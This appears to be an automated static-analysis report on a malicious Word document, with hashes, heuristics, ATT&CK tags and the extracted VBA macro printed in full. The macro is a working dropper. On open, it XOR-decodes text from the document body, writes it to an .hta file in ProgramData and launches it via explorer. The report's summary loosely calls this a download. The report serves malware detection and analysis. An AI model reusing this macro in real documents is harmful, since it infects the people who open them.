Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d47aab25dc101d7a…

MALICIOUS

Office (OOXML)

49.7 KB Created: 2021-06-14 10:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 9eab94b12fc17641a3185fce1c993e8f SHA-1: ab231b34049cf5fc4a813d3e8031b36d93bf4f90 SHA-256: d47aab25dc101d7ac616e3ed4e39a95c11ef9a841d0fdb5f97b4d97fb2409341
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The AutoOpen macro triggers a Shell() call which attempts to execute a command. The reconstructed command appears to be 'c:\windows\explorer c:\programdata\remTable.ht', suggesting a download and execution of a second-stage payload from the specified path. The VBA code uses obfuscation techniques like string concatenation and XOR encryption to hide the true nature of the payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1266 bytes
SHA-256: 742cc3c2a0b3a2bf3cf13addba5b53fe7d0c6518920d723899ee227c9f48b524
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "genInit"
Function repoSize()
repoSize = Shell(dateRightConvert("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "functionBytesSelect"
Sub autoopen()
constBox
rightBytes = repoSize
End Sub
Function dateRightConvert(doubleGlobalQuery, Optional setVal = "c:\program", Optional delObject = "a")
dateRightConvert = sngRightSwap(doubleGlobalQuery & setVal & "data\remTable.ht" & delObject)
End Function
Function windowInteger(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
windowInteger = out
End Function
Function sngRightSwap(rightBytes)
sngRightSwap = Trim(rightBytes)
End Function

Attribute VB_Name = "referenceDelVariable"
Sub constBox()
Open dateRightConvert("") For Output As #1
Print #1, libraryNamespace
Close #1
End Sub
Function libraryNamespace()
libraryNamespace = windowInteger(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: c009765618075aaed6806ef4d7736c7d4cfed41c6dd9c87664fda8c710c8dca9

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